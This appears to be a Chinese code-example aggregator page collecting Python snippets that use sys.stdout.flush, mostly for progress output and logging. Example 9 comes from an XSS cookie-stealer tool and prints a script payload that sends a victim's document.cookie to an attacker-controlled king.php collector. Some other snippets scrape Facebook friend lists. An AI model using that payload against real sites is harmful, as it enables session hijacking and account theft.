本文整理汇总了Python中sys.stdout.flush方法的典型用法代码示例。如果您正苦于以下问题:Python stdout.flush方法的具体用法?Python stdout.flush怎么用?Python stdout.flush使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类sys.stdout
的用法示例。
在下文中一共展示了stdout.flush方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: test_pos
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def test_pos(model, sentences, display=False):
from sys import stdout
count = correct = 0
for sentence in sentences:
sentence = [(token[0], None) for token in sentence]
pts = model.best_path(sentence)
if display:
print sentence
print 'HMM >>>'
print pts
print model.entropy(sentences)
print '-' * 60
else:
print '\b.',
stdout.flush()
for token, tag in zip(sentence, pts):
count += 1
if tag == token[TAG]:
correct += 1
print 'accuracy over', count, 'tokens %.1f' % (100.0 * correct / count)
示例2: __init__
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def __init__(self, file=None, stringio=False, encoding=None):
if file is None:
if stringio:
self.stringio = file = py.io.TextIO()
else:
from sys import stdout as file
elif py.builtin.callable(file) and not (
hasattr(file, "write") and hasattr(file, "flush")):
file = WriteFile(file, encoding=encoding)
if hasattr(file, "isatty") and file.isatty() and colorama:
file = colorama.AnsiToWin32(file).stream
self.encoding = encoding or getattr(file, 'encoding', "utf-8")
self._file = file
self.hasmarkup = should_do_markup(file)
self._lastlen = 0
self._chars_on_current_line = 0
self._width_of_current_line = 0
示例3: write_out
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def write_out(fil, msg):
# XXX sometimes "msg" is of type bytes, sometimes text which
# complicates the situation. Should we try to enforce unicode?
try:
# on py27 and above writing out to sys.stdout with an encoding
# should usually work for unicode messages (if the encoding is
# capable of it)
fil.write(msg)
except UnicodeEncodeError:
# on py26 it might not work because stdout expects bytes
if fil.encoding:
try:
fil.write(msg.encode(fil.encoding))
except UnicodeEncodeError:
# it might still fail if the encoding is not capable
pass
else:
fil.flush()
return
# fallback: escape all unicode characters
msg = msg.encode("unicode-escape").decode("ascii")
fil.write(msg)
fil.flush()
示例4: _continue_with_batch
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def _continue_with_batch(self):
"""
Flushes one of batches (the longest one by default).
:param assert_no_batch: indicates whether exception must be
raised if there is no batch to flush
:return: the batch that was flushed, if there was a flush;
otherwise, ``None``.
"""
batch = self._select_batch_to_flush()
if batch is None:
if _debug_options.DUMP_FLUSH_BATCH:
debug.write("@async: no batch to flush")
else:
return None
self._batches.remove(batch)
self._flush_batch(batch)
return batch
示例5: try_time_based_dump
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def try_time_based_dump(self, last_task=None):
current_time = time.time()
if (
current_time - self._last_dump_time
) < _debug_options.SCHEDULER_STATE_DUMP_INTERVAL:
return
self._last_dump_time = current_time
debug.write(
"\n--- Scheduler state dump: --------------------------------------------"
)
try:
self.dump()
if last_task is not None:
debug.write("Last task: %s" % debug.str(last_task), 1)
finally:
debug.write(
"----------------------------------------------------------------------\n"
)
stdout.flush()
stderr.flush()
示例6: download_file
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def download_file(url,filename,totalsize):
# NOTE the stream=True parameter
if os.path.isfile(filename):
return filename
r = requests.get(url, stream=True)
with open(filename, 'wb') as f:
downloadsize = 0
for chunk in r.iter_content(chunk_size=1024):
if chunk: # filter out keep-alive new chunks
f.write(chunk)
f.flush()
downloadsize += 1024
#print str(stats) + 'k',
stdout.write("\r%.1f%%" %(downloadsize*100/totalsize))
stdout.flush()
stdout.write("\n")
return filename
示例7: requeen_print_state
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def requeen_print_state(qemu):
global first_line
if not first_line:
stdout.write(common.color.MOVE_CURSOR_UP(1))
else:
first_line = False
try:
size_a = str(os.stat(qemu.redqueen_workdir.redqueen()).st_size)
except:
size_a = "0"
try:
size_b = str(os.stat(qemu.redqueen_workdir.symbolic()).st_size)
except:
size_b = "0"
stdout.write(common.color.FLUSH_LINE + "Log Size:\t" + size_a + " Bytes\tSE Size:\t" + size_b + " Bytes\n")
stdout.flush()
示例8: extract_zip
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def extract_zip(filename: str, destination_dir: str):
""" Extracts a zipped file
Parameters
----------
filename : str
The zipped filename
destination_dir : str
The directory where the zipped will be placed
"""
msg_printer = Printer()
try:
with msg_printer.loading(f"Unzipping file {filename} to {destination_dir}"):
stdout.flush()
with zipfile.ZipFile(filename, "r") as z:
z.extractall(destination_dir)
msg_printer.good(f"Finished extraction {filename} to {destination_dir}")
except zipfile.BadZipFile:
msg_printer.fail(f"Couldnot extract {filename} to {destination_dir}")
示例9: runPEnv
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def runPEnv():
system('clear')
print '''
██████ ██████ ██████ ██ ██ ██ ███ ██ ██████ ██ ██ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ █████ ██ ██ ██ ██ ██ ███ ███ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██████ ██████ ██ ██ ██ ██ ████ ██████ ██ ██ ███████ ███████{1}
[ {0}PROOF OF CONCEPT {1}|{0} XSS COOKIE STEALER {1}]\n\n {1}Twitter: https://twitter.com/A1S0N_{1} \n'''.format(GREEN, END, YELLOW)
for i in range(101):
sleep(0.01)
stdout.write("\r{0}[{1}*{0}]{1} Preparing environment... %d%%".format(GREEN, END) % i)
stdout.flush()
print "\n\n{0}[{1}*{0}]{1} Searching for PHP installation... ".format(GREEN, END)
if 256 != system('which php'):
print " --{0}>{1} OK.".format(GREEN, END)
else:
print " --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again. http://www.php.net/".format(RED, END)
exit(0)
print "\n{0}[{1}*{0}]{1} Setting up {2}KING.PHP{1}... ".format(GREEN, END, RED)
system('touch Server/log.txt')
print " --{0}>{1} DONE.".format(GREEN, END)
print '''\n{0}[{1}*{0}]{3} XSS {1}example{1} format: \n--{0}>{1} {4}<script><a href="#" onclick="document.location='{2}http://127.0.0.1{1}{4}/king.php?cookie=' +escape(document.cookie);">CLICK HERE</a></script>{1}\n\n{2}[{1}!{2}]{1} Replace {2}YELLOW{1} links with your domain or external ip.
'''.format(GREEN, END, YELLOW, RED, CIANO)
示例10: download_friends_list
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def download_friends_list():
browser.get("https://m.facebook.com/me/friends")
time.sleep(3)
print('Loading friends list...')
scrollpage = 1
while browser.find_elements_by_css_selector('#m_more_friends'):
browser.execute_script("window.scrollTo(0, document.body.scrollHeight);")
stdout.write("\r>> Scrolled to page %d" % (scrollpage))
stdout.flush()
scrollpage += 1
time.sleep(0.5)
with open (friends_html, 'w', encoding="utf-8") as f:
f.write(browser.page_source)
print("\n>> Saved friend list to '%s'" % friends_html)
# Parse friends list into JSON
示例11: process_photos
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def process_photos(photos):
if 'error' in photos:
print "Error = ", error
raise Exception("Error in Response")
no_of_photos = 0
if 'data' not in photos:
return
while len(photos['data']) > 0:
for photo in photos['data']:
if 'tags' in photo:
process_photo_tags(photo['tags'])
if 'comments' in photo:
process_photo_comments(photo['comments'])
no_of_photos += 1
stdout.write("\rNumber of Photos Processed = %d" % no_of_photos)
stdout.flush()
if 'paging' in photos and 'next' in photos['paging']:
request_str = photos['paging']['next'].replace('https://graph.facebook.com/', '')
request_str = request_str.replace('limit=25', 'limit=200')
photos = graph.get(request_str)
else:
photos['data'] = []
示例12: process_photos
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def process_photos(photos):
if 'error' in photos:
print("Error = ", error)
raise Exception("Error in Response")
no_of_photos = 0
if 'data' not in photos:
return
while len(photos['data']) > 0:
for photo in photos['data']:
if 'tags' in photo:
process_photo_tags(photo['tags'])
if 'comments' in photo:
process_photo_comments(photo['comments'])
no_of_photos += 1
stdout.write("\rNumber of Photos Processed = %d" % no_of_photos)
stdout.flush()
if 'paging' in photos and 'next' in photos['paging']:
request_str = photos['paging']['next'].replace('https://graph.facebook.com/', '')
request_str = request_str.replace('limit=25', 'limit=200')
photos = graph.get(request_str)
else:
photos['data'] = []
示例13: flush
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def flush(self):
return
示例14: timer
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def timer(left):
left = int(left)
while left > 0:
stdout.write("time left: " + "%i " % left, )
stdout.flush()
time.sleep(1)
stdout.write("\r\r", )
left -= 1
# Model Database
示例15: emit
# 需要导入模块: from sys import stdout [as 别名]
# 或者: from sys.stdout import flush [as 别名]
def emit(self, event, sender=None, level='info', formatted='', data={}):
if not sender:
raise ArgumentError('Event needs a sender!')
levels = ['info', 'warning', 'error', 'critical', 'debug']
if not level in levels:
raise ArgumentError('Event level needs to be in: {}'.format(levels))
if event not in self._registered_events:
raise EventNotRegisteredException("Event %s not registered..." % event)
if self._limit_output:
if (event == self._last_event) and (event in ["moving_to_fort", "moving_to_lured_fort", "position_update", "moving_to_hunter_target"]):
stdout.write("\033[1A\033[0K\r")
stdout.flush()
if level == "info" and formatted:
self._last_event = event
# verify params match event
parameters = self._registered_events[event]
if parameters:
for k, v in data.iteritems():
if k not in parameters:
raise EventMalformedException("Event %s does not require parameter %s" % (event, k))
formatted_msg = formatted.format(**data)
# send off to the handlers
for handler in self._handlers:
handler.handle_event(event, sender, level, formatted_msg, data)
#Log the event in the event_log
l_event = Event(event, sender, level, formatted, data)
self._EventLog.add_event(l_event)